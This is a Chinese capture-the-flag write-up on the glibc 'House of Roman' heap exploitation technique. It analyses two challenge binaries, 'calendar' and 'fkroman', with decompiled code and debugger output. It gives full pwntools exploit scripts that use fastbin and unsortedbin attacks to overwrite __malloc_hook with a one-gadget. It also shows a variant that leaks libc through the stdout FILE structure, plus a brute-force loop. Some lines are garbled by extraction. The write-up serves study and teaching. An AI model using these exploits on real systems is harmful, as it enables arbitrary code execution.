iptabLs / 2019-10-19 10:19:58 / 浏览数 2979 安全技术 二进制安全 顶(0) 踩(0)

House-Of-Roman学习笔记

最近整理护网杯的题目(今年护网杯凉了),发现去年还留下一题pwn没有完成,题目提示是house of roman,最近一次比赛也出现了一道叫fkroman的题目,估计也是涉及这个知识点,趁此机会学习一下house of roman,把去年留下的坑填上。

原理简述

House of Roman这个攻击方法由romanking98在2018年4月提出(作者GitHub:https://github.com/romanking98/House-Of-Roman
),主要用于程序无打印功能,在不泄露libc地址的前提下,通过低位地址写+爆破的方法来bypass ALSR。

忽略堆风水具体操作细节,简单总结House of Roman攻击原理就是:

- 通过低位地址写修改fastbin的fd,修改到malloc_hook-0x23
- 通过unsortedbin attack , 将main_arean地址写入malloc_hook
- 使用fastbin attack,通过低位地址写修改malloc_hook中的地址为one gadget

至于具体如何进行fastbin attack和unsortedbin attack,要根据题目进行具体分析,下面通过例题进行详细分析。

实战例题

```
进行本地调试时,可以先把ASLR关掉
echo 0 > /proc/sys/kernel/randomize_va_space
完成exp后爆破使用脚本:
#!/bin/bash
for i in `seq 1 9999`; do python exp.py; done;
护网杯2018 calendar
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
 signed int v3; // eax
 char s; // [rsp+10h] [rbp-50h]
 char v5; // [rsp+4Fh] [rbp-11h]
 unsigned __int64 v6; // [rsp+58h] [rbp-8h]
 v6 = __readfsqword(0x28u);
 init_0();
 printf("input calendar name> ", a2);
 memset(&s, 0, 0x40uLL);
 get_str((__int64)&s, 64);
 printf("welcome to use %s\n", &s);
 while (1)
  while (1)
    v3 = menu();
    if ( v3 != 2 )
      break;
     edit();
  }
  if (v3 > 2)
   {
     if ( v3 == 3 )
     {
      remove();
     }
     else if ( v3 == 4 )
```

```
exit(0);
    }
  }
  else if ( v3 == 1 )
  {
    add();
  }
 }
}
程序菜单:
-----calendar management-----
1. add a schedule
2. edit a schedule
3. remove a schedule
4. exit
程序只有add, edit, remove 三个功能, 跟常见的题目相比, 明显少了一个show的功能, 因此正常情况下缺少泄露地址的手段(当然有其他手段, 暂且不提)。
漏洞点一:程序的读取输入函数存在off by one。
__int64 __fastcall sub_B5F(__int64 a1, signed int a2)
 char buf; // [rsp+13h] [rbp-Dh]
 unsigned int i; // [rsp+14h] [rbp-Ch]
 unsigned __int64 v5; // [rsp+18h] [rbp-8h]
v5 = \underline{readfsqword(0x28u)};
 for ( i = 0; (signed int)i <= a2; ++i )
  if ( (signed int)read(0, &buf, luLL) <= 0 )</pre>
    puts("read error");
    exit(0);
  if ( buf == 10 )
    *(_BYTE *)((signed int)i + a1) = 0;
    return i;
  *(_BYTE *)(al + (signed int)i) = buf;
 }
 return i;
}
漏洞二:remove没有清空指针,存在double free。
void remove()
 int v0; // [rsp+Ch] [rbp-4h]
 v0 = day();
 if (v0 != -1)
  free((void *)qword_202060[v0]);
程序add的size最大只是0x68,因此不能直接申请到unsorted bins的大小,需要通过off by one修改chunk的size进行overlapping。
add(0,0x18) # 0
add(1,0x68) # 1
add(2.0x68) # 2
add(3,0x68) # 3
edit(0,0x18,'a'*0x18+'\xe1')
remove(1)
修改前
pwndbg> x/32gx 0x556cfeda2000
```

0x00000000000000021

0x000000000000000

0x556cfeda2000: 0x0000000000000000

0x556cfeda2010: 0x0000000000000000

```
0x556cfeda2030: 0x0000000000000000
                                       0x556cfeda2040: 0x0000000000000000
                                       0x0000000000000000
修改后,可以看到1号chunk的size变成了0xe1
pwndbg> x/32gx 0x556cfeda2000
0x556cfeda2000: 0x0000000000000000
                                      0x00000000000000021
0x556cfeda2010: 0x6161616161616161
                                      0x6161616161616161
0x556cfeda2020: 0x6161616161616161
                                      0x0000000000000000e1
0x556cfeda2030: 0x0000000000000000
                                      0x0000000000000000
0x556cfeda2040: 0x0000000000000000
                                      0x0000000000000000
此时free掉1号chunk,会把2号chunk吞掉,组成一个0xe0大小的unsortedbin,这是本题得到libc地址的基础。
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x556cfeda2020 -■ 0x7fe8036d6b78 (main_arena+88) -■ 0x556cfeda2020 ■- 0x7fe8036d6b78
smallbins
empty
largebins
empty
攻击第一步:通过低位地址写修改fastbin的fd到malloc_hook-0x23,为什么是这里?因为这里有一个0x7f,用于后续的fastbin attack。
pwndbg> x/8gx 0x7fe8036d6b10-0x23
0x7fe8036d6aed <_IO_wide_data_0+301>:
                                      0xe8036d5260000000
                                                              0x000000000000007f
0x7fe8036d6afd: 0xe803397e20000000
                                      0xe803397a0000007f
0x7fe8036d6b0d <__realloc_hook+5>:
                                      0x000000000000007f
                                                              0 \times 0000000000000000
0x7fe8036d6b1d: 0x0100000000000000
                                      0 \times 00000000000000000
现在的任务是让fastbins链中写入一个libc的地址,我们可以在上面的代码做个小修改,在进行off by
one之前,先把1号chunk释放掉,让它进入fastbins,再进行overlapping。
add(0,0x18) # 0
add(1,0x68) # 1
add(2,0x68) # 2
add(3,0x68) # 3
remove(1)
edit(0,0x18,'a'*0x18+'\xe1')
remove(1)
这样可以让fastbin和unsortedbin重叠
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x55db47562020 -■ 0x7f6faea28b78 (main_arena+88) -■ 0x55db47562020 ■- 0x7f6faea28b78
0x80: 0x0
unsortedbin
all: 0x55db47562020 -■ 0x7f6faea28b78 (main_arena+88) -■ 0x55db47562020 ■- 0x7f6faea28b78
smallbins
largebins
```

然后申请一个非0x70大小的chunk(因为申请0x70大小会优先使用fastbin),此时会使用unsortedbin进行分配,对此chunk进行edit就可以对fd进行低位地址写。

0x00000000000000071

0x556cfeda2020: 0x0000000000000000

```
add(3.0x18) # 3
edit(3,0x1,p64(libc.sym['__malloc_hook']-0x23)[:2]) # p16(2aed)
edit(0,0x18,'a'*0x18+'\x71') # fix chunk size
add(1.0x68)
add(0,0x68) # __malloc_hook-0x13
完成后可以看到fastbin的fd指向_IO_wide_data_0+301, 也就是 __malloc_hook-0x23
pwndba> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x55db47562020 -■ 0x7f6faea28aed (_IO_wide_data_0+301) ■- 0x6fae6e9e20000000
0x80: 0x0
unsortedbin
all: 0x55db47562040 -■ 0x7f6faea28b78 (main arena+88) -■ 0x55db47562040 ■- 0x7f6faea28b78
smallbins
empty
largebins
empty
再次使用off by
one重新修改0x55db47562020的size位为0x71,恢复fastbin的正常结构。进行两次分配后,可以申请到__malloc_hook-0x13的位置,查看程序存储chunk地址的list可
pwndbg> x/8gx 0x55db46403000+0x202060
0x55db46605060: 0x00007f6faea28afd
                                     0x000055db47562030
0x55db46605070: 0x000055db475620a0
                                     0x000055db47562030
0x55db46605080: 0x0000000000000068
                                     0x0000000000000068
0x55db46605090: 0x0000000000000008
                                     0x0000000000000018
攻击第二步:通过unsortedbin attack,将main_arean地址写入malloc_hook。
由于本题限制了最大只能申请0x70大小的内存,因此在进行unsortedbin
attack前,首先需要修复fastbin,不然后续会发生报错。修复方法很简单,free掉一个0x70大小的chunk,然后使用UAF将fd修改为0,然后申请一个0x70大小的chunk,清
remove(1)
edit(1,7,p64(0)) # fix fastbins
add(3,0x68)
首先申请一个0x50大小的,使unsortedbin与2号chunk重叠,然后直接对2号chunk进行edit,就可以进行低地址写,修改unsortedbin的bk为__malloc_hook-0x10。然
attack,可以看到__malloc_hook的值已被修改为main_arena+88
add(3,0x48)
edit(2,0x8+1,p64(0)+p64(libc.sym['__malloc_hook']-0x10)[:2])
add(3,0x68)
pwndbg> p __malloc_hook
$2 = (void *(*)(size_t, const void *)) 0x7f6faea28b78 <main_arena+88>
最后一步:使用fastbin attack,通过低位地址写修改malloc_hook中的地址为one gadget。
至此,一切攻击都准备就绪了。第一步完成时,3号chunk已经指向了__malloc_hook-0x13,这里直接对3号chunk进行edit,修改__malloc_hook的低3位地址为one
gadget。然后使用double free触发调用__malloc_hook即可getshell。
one_gadget = libc.address + 0xf02a4
edit(0,0x13+2,'a'*0x13+p64(one_gadget)[:3])
remove(3)
remove(3)
pwndbg> p __malloc_hook
$3 = (void *(*)(size_t, const void *)) 0x7f6fae7542a4 <exec_comm+1140>
完整exp:
from pwn import *
target = 'calendar'
elf = ELF('./'+target)
```

```
p = process('./'+target)
libc = elf.libc
def add(idx,size):
      p.sendlineafter('choice> ','1')
      p.sendlineafter('choice> ',str(idx+1))
      p.sendlineafter('size> ',str(size))
def edit(idx,size,content):
      p.sendlineafter('choice> ','2')
      p.sendlineafter('choice> ',str(idx+1))
      p.sendlineafter('size> ',str(size))
      p.sendafter('info> ',content)
def remove(idx):
      p.sendlineafter('choice> ','3')
      p.sendlineafter('choice> ',str(idx+1))
libc.address = 0x233000
p.sendlineafter('name> ','kira')
add(0,0x18) # 0
add(1,0x68) # 1
add(2,0x68) # 2
add(3,0x68) # 3
remove(1)
edit(0,0x18,'a'*0x18+'\xe1')
remove(1)
add(3,0x18) # 3
edit(3,0x1,p64(libc.sym['__malloc_hook']-0x23)[:2])
edit(0,0x18,'a'*0x18+'\x71') # fix chunk size
add(1,0x68)
add(0,0x68) # __malloc_hook-0x13
remove(1)
edit(1,7,p64(0)) # fix fastbins
add(3,0x68)
add(3,0x48)
edit(2,0x8+1,p64(0)+p64(libc.sym['__malloc_hook']-0x10)[:2])
add(3,0x68)
\#one\_gadget = [0x45216,0x4526a,0xf02a4,0xf1147]
one_gadget = libc.address + 0xf02a4
edit(0,0x13+2,'a'*0x13+p64(one_gadget)[:3])
remove(3)
remove(3)
p.interactive()
 [DEBUG] Sent 0x2 bytes:
           '4\n'
     Switching to interactive mode
  [DEBUG] Received 0x57 bytes:
          "*** Error in `./calendar': double free or corruption (fasttop): 0x0000560ababad0a0 ***\n"
Error in `./calendar': double free or corruption (fasttop): 0x0000560ababad0a0 ***
     id
   DEBUG] Sent 0x3 bytes:
           'id\n'
  DEBUG] Received 0x7b bytes:

'uid=1000(kira) gid=1000(kira) groups=1000(kira),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),113(lpadev),11
 uid=1000(kira) gid=1000(kira) groups=1000(kira),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpac
   0:w1.p1
```

context.binary = './'+target

```
_int64 __fastcall main(__int64 a1, char **a2, char **a3)
signed int i; // [rsp+4h] [rbp-2Ch]
int v5; // [rsp+8h] [rbp-28h]
unsigned int v6; // [rsp+Ch] [rbp-24h]
char s; // [rsp+10h] [rbp-20h]
unsigned __int64 v8; // [rsp+28h] [rbp-8h]
v8 = __readfsqword(0x28u);
init_0();
for ( i = 0; i \le 4095; ++i )
  menu();
  memset(\&s, 0, 0x10uLL);
  get_str((__int64)&s, 15);
  v5 = atoi(&s);
  if ( v5 == 5 )
   break;
  printf("Index: ", 15LL);
  get_str((__int64)&s, 15);
  v6 = atoi(&s);
  if ( v5 == 2 ) // show
    puts("No way");
    continue;
  if (v5 > 2)
    if ( v5 == 3 )
    {
      remove(v6);
      continue;
    if (v5 == 4)
    {
      edit(v6);
      continue;
  else if ( v5 == 1 )
    add(v6);
    continue;
  puts("Invalid option!\n");
return OLL;
程序菜单:
1.alloc
2.show
3.free
4.edit
5.exit
虽然菜单里面有show,然而是用不了的。跟上一题类似,有alloc,free,edit的功能,没有打印信息的函数。
漏洞一: free之后没有清空指针,存在double free。
int __fastcall remove(unsigned int al)
int result; // eax
if ( a1 \le 0xFF )
  free((void *)qword_4060[a1]);
  result = puts("Done!\n");
```

```
}
漏洞二:edit的时候,输入长度由用户输入决定,直接就是一个堆溢出。
unsigned __int64 __fastcall edit(unsigned int al)
 int v1; // ST1C_4
 char nptr; // [rsp+20h] [rbp-20h]
 unsigned __int64 v4; // [rsp+38h] [rbp-8h]
 v4 = __readfsqword(0x28u);
 if ( a1 <= 0xFF && gword_4060[a1] )
  printf("Size: ");
  get_str((__int64)&nptr, 16);
  v1 = atoi(&nptr);
  printf("Content: ", 16LL);
  get_str(qword_4060[a1], v1);
  puts("Done!\n");
return __readfsqword(0x28u) ^ v4;
}
另外本题alloc时大小可控,没有限制,相比上一题难度低不少。
unsigned __int64 __fastcall add(unsigned int a1)
size_t size; // [rsp+1Ch] [rbp-24h]
unsigned __int64 v3; // [rsp+38h] [rbp-8h]
 v3 = __readfsqword(0x28u);
 if ( a1 <= 0xFF )
  printf("Size: ");
  get_str((__int64)&size + 4, 16);
  LODWORD(size) = atoi((const char *)&size + 4);
  qword_4060[a1] = malloc((unsigned int)size);
  if ( !qword_4060[a1] )
    exit(0);
  puts("Done!\n");
return __readfsqword(0x28u) ^ v3;
}
由于本题的漏洞时堆溢出,因此有部分攻击过程会比上题简单一点。第一步同样是通过修改chunk的size进行overlapping,制造重叠的chunk。唯一不同的地方是,进行修
size为0x71的步骤,可以通过一次edit完成。
alloc(0,0x10)
alloc(1,0x60)
alloc(2,0x60)
alloc(3,0x60)
free(1)
edit(0,0x20,flat(0,0,0,0xe1))
edit(0,0x22,flat(0,0,0,0x71)+p64(libc.sym['__malloc_hook']-0x23)[:2])
alloc(4,0x60)
alloc(5,0x60) # __malloc_hook
这题也没有限制malloc大小,可以直接申请大于0x70大小的chunk,因此修复fastbin链的步骤也可以跳过。上一个步骤是直接使用堆溢出来修改fd,没有申请chunk,制造
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
```

return result;

```
0 \times 80 : 0 \times 0
unsortedbin
all: 0x56160694b020 -■ 0x7fab7d1fdaed (_IO_wide_data_0+301) ■- 0xab7cebee20000000
smallbins
empt.v
largebins
empty
继续对0号chunk进行堆溢出就可以修改unsortedbin的BK,注意需要把chunk size修复为0xe1。这里我没有使用double
free触发报错,直接调用malloc就成功getshell。
{\tt edit(0,0x22+8,flat(0,0,0,0xe1,0)+p64(libc.sym['\_malloc\_hook']-0x10)[:2])}
alloc(6,0xd0) # unsorted bins
one_gadget = libc.address + 0xf1147
edit(5,0x16,'a'*0x13+p64(one_gadget)[:3])#5cf147 ba1147
alloc(8,0x60)
完整EXP:
def pwn():
  def alloc(idx,size):
      p.sendlineafter('choice: ','1')
      p.sendlineafter('Index: ',str(idx))
      p.sendlineafter('Size: ',str(size))
  def free(idx):
      p.sendlineafter('choice: ','3')
      p.sendlineafter('Index: ',str(idx))
  def edit(idx,size,content):
      p.sendlineafter('choice: ','4')
      p.sendlineafter('Index: ',str(idx))
      p.sendlineafter('Size: ',str(size))
      p.sendafter('Content: ',content)
   # house of roman
  libc.address = 0x233000
  alloc(0,0x10)
  alloc(1,0x60)
  alloc(2,0x60)
  alloc(3,0x60)
  free(1)
  edit(0,0x20,flat(0,0,0,0xe1))
  free(1)
   # fastbin attack
  edit(0,0x22,flat(0,0,0,0x71)+p64(libc.sym['__malloc_hook']-0x23)[:2])
  alloc(4,0x60)
  alloc(5,0x60) # malloc hook
   # unsortedbin attack
  \verb|edit(0,0x22+8,flat(0,0,0,0xe1,0)+p64(libc.sym['\_malloc\_hook']-0x10)[:2]||
  alloc(6.0xd0) # unsorted bins
  #one gadget = [0x45216.0x4526a.0xf02a4.0xf1147]
  one_gadget = libc.address + 0xf1147
  edit(5,0x16,'a'*0x13+p64(one_gadget)[:3])#5cf147 ba1147
  alloc(8,0x60)
  p.interactive()
```

这题比护网杯的简单,不过核心的思路仍然是fastbin attack和unsortedbin attack。

更多思考

 $0 \times 60 : 0 \times 0$

0x70: 0xab7cebee20000000

重新打开ASLR进行测试exp时,脸黑的兄弟会发现跑了很久很久都不成功,因为House-Of-Roman成功率实在有点感人,虽然大幅度降低了爆破的范围,仍然需要爆破12b

原因很简单,因为有更好更稳定的攻击手段,就是修改IO_FILE结构体进行地址泄漏。以第二题fkroman为例,在第一步进行fastbin attack时,将fd修改至stdout附近,然后修改stdout结构体,即可泄漏libc地址,后面修改__malloc_hook就无需进行低地址写爆破,将成功率提高到1/16,非洲人福音。

fkroman的exp可修改为:

```
def pwn():
         def alloc(idx,size):
                     p.sendlineafter('choice: ','1')
                     p.sendlineafter('Index: ',str(idx))
                     p.sendlineafter('Size: ',str(size))
         def free(idx):
                     p.sendlineafter('choice: ','3')
                     p.sendlineafter('Index: ',str(idx))
         def edit(idx,size,content):
                     p.sendlineafter('choice: ','4')
                     p.sendlineafter('Index: ',str(idx))
                     p.sendlineafter('Size: ',str(size))
                     p.sendafter('Content: ',content)
         qlobal p
         alloc(0.0x10)
         alloc(1.0x60)
         alloc(2,0x60)
         alloc(3,0x60)
         free(1)
         edit(0,0x20,flat(0,0,0,0xe1))
         free(1)
         edit(0.0x22.flat(0.0.0.0x71)+p16(0x65dd))
         alloc(4.0x60)
         alloc(5,0x60)
         edit(5.0x54, a'*0x33+p64(0xfbad2887|0x1000)+p64(0)*3+(x00)
         libc.address = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - libc.sym['_I0_2_1_stderr_'] - 192(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5) - 1.00(1.5
         success(hex(libc.address))
         free(2)
         edit(2,0x8,p64(libc.sym['__malloc_hook']-0x23))
         alloc(6,0x60)
         alloc(7.0x60)
         edit(7,0xlb,'a'*0x13+p64(libc.address+0xf1147))
         alloc(8.0x60)
         p.interactive()
```

用这个exp的成功率大大提升,各位非洲人可以试试。

```
'./fkroman' stopped with exit code -6 (SIGABRT) (pid 26749)
    Process
    Starting local process './fkroman': pid 26754
    Process './fkroman' stopped with exit code -11 (SIGSEGV) (pid 26754)
Starting local process './fkroman': pid 26765
    Process './fkroman' stopped with exit code -11 (SIGSEGV) (pid 26765)
Starting local process './fkroman': pid 26774
                ./fkroman' stopped with exit code -11 (SIGSEGV) (pid 26774)
    Process
    Starting local process './fkroman': pid 26779
Process './fkroman' stopped with exit code -6 (SIGABRT) (pid 26779)
    Starting local process './fkroman': pid 26790
    Process './fkroman' stopped with exit code -6 (SIGABRT) (pid 26790)
Starting local process './fkroman': pid 26799
                ./fkroman' stopped with exit code -11 (SIGSEGV) (pid 26799)
    Starting local process './fkroman': pid 26804
               ./fkroman' stopped with exit code -6 (SIGABRT) (pid 26804)
    Starting local process './fkroman': pid 26815
    0x7f4e02a71000
    Switching to interactive mode
uid=1000(kira) gid=1000(kira) groups=1000(kira),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadm
  П
 0:wl.pl
```

House-Of-Roman的攻击思路很值得学习,不过改修改IO_FILE结构体的方法成功率更高,本地测试基本秒出,正常情况下还是优先考虑用此方法。

参考

 $\underline{https://ctf\text{-}wiki.github.io/ctf\text{-}wiki/pwn/linux/glibc-heap/house_of_roman-zh/}$

https://github.com/romanking98/House-Of-Roman

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